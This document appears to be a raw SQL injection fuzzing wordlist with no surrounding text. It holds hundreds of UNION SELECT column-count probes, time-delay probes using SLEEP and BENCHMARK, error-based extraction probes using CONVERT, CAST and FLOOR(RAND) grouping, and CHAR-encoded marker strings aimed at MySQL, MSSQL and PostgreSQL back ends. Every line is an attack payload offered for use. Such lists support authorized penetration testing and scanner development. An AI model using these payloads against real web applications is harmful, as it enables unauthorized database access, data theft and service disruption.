UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
|
||||
UNION SELECT @@VERSION,SLEEP(5),"'3
|
||||
UNION SELECT @@VERSION,SLEEP(5),"'3'"#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),4#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
|
||||
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
|
||||
UNION ALL SELECT USER()--
|
||||
UNION ALL SELECT SLEEP(5)--
|
||||
UNION ALL SELECT USER(),SLEEP(5)--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
|
||||
UNION ALL SELECT NULL--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))--
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))--
|
||||
UNION ALL SELECT NULL#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
|
||||
UNION ALL SELECT NULL
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
|
||||
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
|
||||
AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
|
||||
AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
|
||||
AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
|
||||
UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL--
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX'
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
|
||||
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
|
||||
